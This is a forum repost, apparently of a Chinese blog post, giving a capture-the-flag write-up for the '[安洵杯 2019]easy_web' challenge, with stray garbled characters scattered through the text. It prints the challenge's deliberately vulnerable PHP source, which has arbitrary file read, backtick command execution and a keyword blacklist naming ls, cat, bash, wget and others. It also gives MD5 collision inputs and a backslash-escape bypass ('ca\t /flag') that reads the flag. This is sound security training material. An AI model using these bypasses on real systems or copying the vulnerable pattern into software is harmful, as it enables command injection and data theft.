飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 9322|回复: 0

[安洵杯 2019]easy_web

[复制链接]

6738

主题

6826

帖子

2万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
22542
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式

3 T, M" M; X9 N# f/ M* r  e  j<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>% b- S+ L" q, H/ z8 w. q- x! B
<p>&nbsp;</p>
% ^; `. e* O% J6 E" j<p>&nbsp;</p>
$ {) u) a+ u, f- i  _8 _. G  ^4 |<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>
2 G+ J  f3 Z* Y5 @<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
! T  ~2 d, k- e, i) p2 E<p>&nbsp;</p>
4 x" m* k; c# B9 z<p>&nbsp;</p>' r6 t" P1 m9 |8 V
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>
. s- w: p0 t) F1 w3 ]<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>, C5 d$ \) Z- s
<p>首先把那个进行一次base64位解码</p>
: v0 C  y: x) ~! V; |* O<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>5 E: q+ N( H: q( G: o
<p>&nbsp;</p>: p+ y4 D) X9 k, Z. j1 X
<p>&nbsp;</p>
! M" g2 s/ n0 `5 s2 \5 U; b& l* o<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>: ?0 [* Q! @! b! U: h% A* L$ c! l
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>! ^, ]8 P& ]6 O5 _9 I
<p>&nbsp;</p>
5 N- [2 ~6 I0 ^3 D<p>&nbsp;</p>, x" ]/ {; q- ~5 f0 {
<p>&nbsp;然后用hex解码一下得到了</p>6 s5 D9 x+ k0 R$ \8 k/ \
<div class="cnblogs_Highlighter">) q8 I8 [3 Y" B& ^( f
<pre class="brush:sql;gutter:true;">555.png
6 H* F5 n# X- y7 [9 J</pre>( N% Q  u' R+ d# F# V
</div>$ j( `/ T+ }8 G0 X1 x: y! M  ^- [
<p>  用同样的方法把index.php进行加密</p>
+ O/ v$ q4 p  I7 B0 v0 d2 V<div class="cnblogs_Highlighter">8 C: U6 J, `# {
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
( E$ S* o) Y" L6 I$ H" N: s  ]</pre>9 O; E$ `: \( }/ x
</div>- V( d* y+ H# r6 H- G6 W( ~! x. u
<p>  然后输入到地址栏</p>
7 |" V: B! t" L0 W* e) K' @<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>6 c7 M; v; Y& l# O3 o' N
<div class="cnblogs_code">7 ?8 ~0 r1 \# \" H5 z
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
% G0 J0 H, p# F7 t8 X</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);8 M3 }& S2 K0 q# W0 M) _
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
* ^6 G$ z' m( U( U</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
2 G0 l4 y# |1 n- f* e' M5 R</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
, m/ \8 q- s  Z    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);: ?3 \* l1 Q' @/ C- S8 b! C
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));- v6 d6 Q0 l7 h1 p2 f

! o2 ], F* Z3 I; n</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);; d# i( f- _* S# O# F1 \
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {& O/ R( S' L) V4 B4 Z
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;7 }% a6 p8 n4 E
    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);' E' A; I& }' g5 z: `
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
! f* ^; o8 b2 A# c+ a" `    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
5 j  @# l4 q$ T8 ^6 W. _% W, y0 O; J    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;
: {; _$ d# }+ W( V$ z    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
' ~' Y' n# C; z}
; ^7 ^; K+ R: O+ t8 k( d5 l0 _3 A</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
  i' V  K! _3 o8 {! i</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;2 g) V& Y! y8 v5 J( w; H. a
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {7 D$ p9 u- c! G+ U8 E
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
+ Q* z+ i$ f' z* l6 D    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
$ T1 |( L+ ^0 b% w( d& Y( _. G1 H} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {& \# B( `2 ^' h1 V
    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {) g, K' ~  D7 i
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;* l+ {2 H- u2 N0 ^7 E# E
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
2 a6 u9 B: y+ ~$ v        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
/ p) z" P* h2 J. P6 W+ T    }% M$ c0 W" }. c! Z  \2 c
}
9 ], f5 O2 m# {- b% S/ O$ Y& C. I0 q5 @( X' c, X
</span>?&gt;
6 n: ~1 g# Y: w, T3 B&lt;html&gt;; L7 C2 r0 f3 b& x
&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">) c; g% J. `4 B6 m
  body{
4 k# |5 H6 g8 `   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;$ {* D- o. R' o) r5 w
   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
. ], p: {# c0 _  R7 {- t+ x8 |* H   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;. x- M+ Q& {; G! {% }
   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
) W. O5 z' ~) H0 Y) e<span style="color: rgba(0, 0, 0, 1)">}
% }* m& R6 h9 W, i8 A</span>&lt;/style&gt;
4 x4 \5 |4 s) X5 f$ O; s; d/ ~8 d& g# ?&lt;body&gt;; R3 q" g3 w5 m0 U( Z7 V# \
&lt;/body&gt;& `; f, q3 w, P( K
&lt;/html&gt;</pre>
9 g" N- g: L) Q7 L; x4 h7 F</div>
: v6 X9 d) @2 Q: ?) U% z<p>结合前面的推断,关键代码就在</p>
% X$ F" S# o) ]3 O<div class="cnblogs_code">
3 D8 b  `( l" y8 {( m. v7 Q<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
0 ]) x# E; E( Q$ M/ h        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;3 T% a, |, c' N+ Z/ w0 u7 j
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
: j6 Y# V0 }4 C" k& A4 @# C        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);. i: ^/ n$ ]3 {
    }</span></pre>
& ^3 d8 S6 |; W) {, C0 b% U0 w% Y& A</div>
; N5 }* k. `2 y/ n4 ^/ n3 l" H<p>这种MD5是md5强碰撞</p>
2 W$ X1 P) e) e7 z2 O" u6 j- l* w<div class="cnblogs_Highlighter">, h: X" e, _! m0 M( ]
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
3 m) y) z8 H2 ~( e% J3 l6 @1 e. ^</pre>4 G$ D# d) V6 V5 g
</div>
2 i/ o! L6 [1 j' a2 c% R<div class="cnblogs_Highlighter">7 k9 L3 ]+ p0 U7 t6 e, ~
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
4 U$ d: a2 h: _; i( O</pre>& N5 ?, j) |2 Q: j
</div>
: O/ d0 W3 T+ e  E<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>! a+ W! U$ e6 {& y$ o
<p>于是采用payload:</p>% s' O. _) D( R  F( }: R
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>% f7 _9 ~, \$ K3 k* S1 ^
<p>&nbsp;</p>6 U- z' |: O. @) A6 {3 ?
<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>% ]' ~8 c; V7 l
<p>ls和l\s在命令执行的时候结果是一样的。</p>
! q4 ?* f1 W. T* I9 _2 M/ \<p>然后发现根目录里面有/flag</p>
9 x/ n- }! I! W+ |- ~; ~9 V) S<p>于是payload:</p>
( D9 H# [5 f8 \  p9 l1 U9 v<div class="cnblogs_Highlighter">( d5 H! p8 U7 K
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag6 v, I: @2 S& d' `+ s
</pre>& y" P6 [* [( ]) m! H
</div>; L" |; |/ r: N/ ?6 x& p2 \# y
<p>  对于这个题目,因为他没有屏蔽sort和dir</p>
1 {6 K1 B) }8 o$ z<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>$ J1 e+ R3 @+ D3 F, ?
<p>&nbsp;</p>
5 y  _& e$ X5 N- g8 Z
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2025-6-15 16:10 , Processed in 0.063445 second(s), 21 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表